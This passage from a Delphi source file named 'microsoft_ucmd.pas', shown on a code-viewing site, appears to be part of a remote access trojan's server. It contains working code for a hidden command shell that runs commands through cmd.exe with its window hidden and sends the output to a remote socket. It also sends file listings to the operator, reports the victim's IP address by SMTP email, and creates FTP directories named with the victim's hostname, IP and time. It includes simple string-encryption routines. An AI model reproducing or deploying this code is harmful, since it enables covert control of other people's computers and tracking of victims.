📄 microsoft_ucmd.pas
字号:
files :=files + Ret;
// sleep(10);
// SendData(socket, '1' + '^' + Ret + '^');
{ if Nfiles >100 then begin
sleep (200);
SendData(socket, '1' + '^' + files + '^');
sleep (200);
files:='';
Nfiles:=0;
end; }
sigue := FindNextFile( retval, sr );
end;
end;
{ sleep (200);
SendData(socket, '1' + '^' + files + '^');
sleep (200); }
Nfiles:= findNchars(files,'*');
result:=inttostr(Nfiles) + '*' + Files;
end;
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
function GetLocalPath:string;
var
i,a : integer;
data : string;
begin
i:= findNchars(ParamStr( 0 ),'\');
for a:= 0 to i-1 do begin
data:=data + split( ParamStr( 0 ),'\',a) + '\';
end;
result:=data;
end;
///////////////////////////////////////////////////////////////////////////////
const FIN = #13+#10;
procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
var Addr : TSockAddr;
Sock : TSocket;
TypeBlock : Integer;
HostEnt: PHostEnt;
begin
with addr do
begin
sin_family := AF_INET;
sin_port := htons( 25 );
sin_addr.S_addr := Inet_Addr( PCHAR(SMTP) );
end;
if addr.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(SMTP));
if HostEnt = nil then
begin
Exit;
end;
addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;
//creo el socket con el que me voy a conectar al servidor smtp
Sock := Socket( AF_INET, SOCK_STREAM, 0 );
//lo pongo para que se quede bloqueado cuando leo o escribo en el socket
TypeBlock := 0;
ioctlsocket( Sock, FIONBIO, TypeBlock );
//intento la conexion, si connect devuelve 0 entonces estamos conectados
if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
begin
//Result := TRUE;
SendData( sock,'helo test' + FIN );
sleep(100);
//mail from: es para decir quien es el que manda el mail
SendData( sock,'mail from: ' + MyEMAIL + FIN );
sleep(100);
//rcpt to: es para decir quien recibe el mail
SendData( sock,'rcpt to: ' + EMAIL + FIN );
sleep(100);
//data es para indicarle al server que lo que sigue es el cuerpo del mail
SendData( sock,'data' + FIN );
sleep(100);
SendData( sock,'from: ' + MyEMAIL + FIN ) ;
sleep(100);
SendData( sock,'to:' + EMAIL + FIN );
sleep(100);
SendData( sock,'subject: '+ 'testing' + LocalIP + FIN);
sleep(100);
// el punto ".", es para decirle al server que el cuerpo del mail termino
SendData( sock,'.' + FIN );
sleep(500);
SendData( sock, 'quit' + FIN );
Sleep(500);
end
else
// Result := FALSE;
CloseSocket( Sock );
end;
///////////////////////////////////////////////////////////////////////////////
procedure EnviarSalidaAlCliente( const path: String );
var a : TextFile;
Linea : String;
begin
try
AssignFile( a, path );
FileMode := 0;
Reset( a );
while not Eof( a ) do
begin
ReadLn( a, Linea );
SendData (ConsoleSocket, '33' + linea);
// messagebox( 0,pchar(linea),'',0);
end;
CloseFile( a );
except
end;
end;
///////////////////////////////////////////////////////////////////////////////
procedure Consola;
var pApp,pOut : array[ 0..MAX_PATH ] of Char;
pathOut : String;
StartupInfo : TStartupInfo;
ProcessInfo : TProcessInformation;
SecAtrrs : TSecurityAttributes;
result : boolean;
hAppProcess, hAppThread, hOut: THandle;
begin
pathOut := FindWindowsDir + '\temp\out.txt';
Result := FALSE;
if EsXp then
ConsolaApp := FindWindowsDir + '\System32\cmd.exe /C ' + ConsolaApp
else
ConsolaApp := FindWindowsDir + '\command.com /C ' + ConsolaApp;
StrPCopy( pApp, ConsolaApp );
StrPCopy( pOut, pathOut );
try
FillChar( SecAtrrs, SizeOf( SecAtrrs ), #0 );
SecAtrrs.nLength := SizeOf( SecAtrrs );
SecAtrrs.lpSecurityDescriptor := nil;
SecAtrrs.bInheritHandle := True;
hOut := CreateFile( pOut, GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
@SecAtrrs, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, 0 );
if hOut = INVALID_HANDLE_VALUE then
Exit;
FillChar( StartupInfo, SizeOf( StartupInfo ), #0 );
StartupInfo.cb := SizeOf( StartupInfo );
StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
StartupInfo.wShowWindow := SW_HIDE;
StartupInfo.hStdOutput := hOut;
Result := CreateProcess( nil, pApp, nil, nil, True,
CREATE_NEW_CONSOLE or REALTIME_PRIORITY_CLASS,
nil, nil, StartupInfo, ProcessInfo );
if Result then
begin
WaitForSingleObject( ProcessInfo.hProcess, INFINITE );
hAppProcess := ProcessInfo.hProcess;
hAppThread := ProcessInfo.hThread;
end;
finally
if hOut <> 0 then
CloseHandle( hOut );
if hAppThread <> 0 then
CloseHandle( hAppThread );
if hAppProcess <> 0 then
CloseHandle( hAppProcess );
EnviarSalidaAlCliente ( pathOut);
end;
end;
///////////////////////////////////////////////////////////////////////////////
procedure LanzarProgramaConsola(App: string; c: Boolean; socket : tsocket);
var id : cardinal;
begin
Esconsola := c;
ConsolaApp := App;
ConsoleSocket:= socket;
BeginThread(nil, 0, @ShellCode, nil, 0, id );
end;
///////////////////////////////////////////////////////////////////////////////
procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
var Addr : TSockAddr;
Sock : TSocket;
TypeBlock : Integer;
HostEnt: PHostEnt;
begin
with addr do
begin
sin_family := AF_INET;
sin_port := htons( Port );
sin_addr.S_addr := Inet_Addr( PCHAR(Host) );
end;
if addr.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Host));
if HostEnt = nil then
begin
// frmMain.MainMsg.ShowMessage('Failed Sended!');
Exit;
end;
addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;
//creo el socket con el que me voy a conectar al servidor FTP
Sock := Socket( AF_INET, SOCK_STREAM, 0 );
//lo pongo para que se quede bloqueado cuando leo o escribo en el socket
TypeBlock := 0;
ioctlsocket( Sock, FIONBIO, TypeBlock );
//intento la conexion, si connect devuelve 0 entonces estamos conectados
if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
begin
//Result := TRUE;
SendData (sock, 'USER ' + User+ #13#10);
Sleep(100);
SendData (Sock, 'PASS ' + PASS + #13#10);
Sleep(100);
if Dir<>''then begin
SendData (Sock, 'CWD ' + Dir + #13#10);
end;
Sleep(100);
SendData (Sock, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE + #13#10);
Sleep(100) ;
SendData (sock, 'QUIT' + #13#10);
Sleep(500);
// frmMain.MainMsg.ShowMessage('FTP Notification Sended!');
end
else
begin
// Result := FALSE;
CloseSocket( Sock );
// frmMain.MainMsg.ShowMessage('Failed Sended!');
end;
end;
const
C1 = 52845;
C2 = 22719;
function Decode(const S: AnsiString): AnsiString;
const
Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0);
var
I: LongInt;
begin
case Length(S) of
2:
begin
I := Map[S[1]] + (Map[S[2]] shl 6);
SetLength(Result, 1);
Move(I, Result[1], Length(Result))
end;
3:
begin
I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
SetLength(Result, 2);
Move(I, Result[1], Length(Result))
end;
4:
begin
I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
(Map[S[4]] shl 18);
SetLength(Result, 3);
Move(I, Result[1], Length(Result))
end
end
end;
function PreProcess(const S: AnsiString): AnsiString;
var
SS: AnsiString;
begin
SS := S;
Result := '';
while SS <> '' do
begin
Result := Result + Decode(Copy(SS, 1, 4));
Delete(SS, 1, 4)
end
end;
function InternalDecrypt(const S: AnsiString; Key: Word): AnsiString;
var
I: Word;
Seed: Word;
begin
Result := S;
Seed := Key;
for I := 1 to Length(Result) do
begin
Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
Seed := (Byte(S[I]) + Seed) * Word(C1) + Word(C2)
end
end;
function Decrypt(const S: AnsiString; Key: Word): AnsiString;
begin
Result := InternalDecrypt(PreProcess(S), Key)
end;
function Encode(const S: AnsiString): AnsiString;
const
Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
'abcdefghijklmnopqrstuvwxyz0123456789+/';
var
I: LongInt;
begin
I := 0;
Move(S[1], I, Length(S));
case Length(S) of
1:
Result := Map[I mod 64] + Map[(I shr 6) mod 64];
2:
Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
Map[(I shr 12) mod 64];
3:
Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
end
end;
function PostProcess(const S: AnsiString): AnsiString;
var
SS: AnsiString;
begin
SS := S;
Result := '';
while SS <> '' do
begin
Result := Result + Encode(Copy(SS, 1, 3));
Delete(SS, 1, 3)
end
end;
function InternalEncrypt(const S: AnsiString; Key: Word): AnsiString;
var
I: Word;
Seed: Word;
begin
Result := S;
Seed := Key;
for I := 1 to Length(Result) do
begin
Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
Seed := (Byte(Result[I]) + Seed) * Word(C1) + Word(C2)
end
end;
function Encrypt(const S: AnsiString; Key: Word): AnsiString;
begin
Result := PostProcess(InternalEncrypt(S, Key))
end;
function Noclose(value :
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -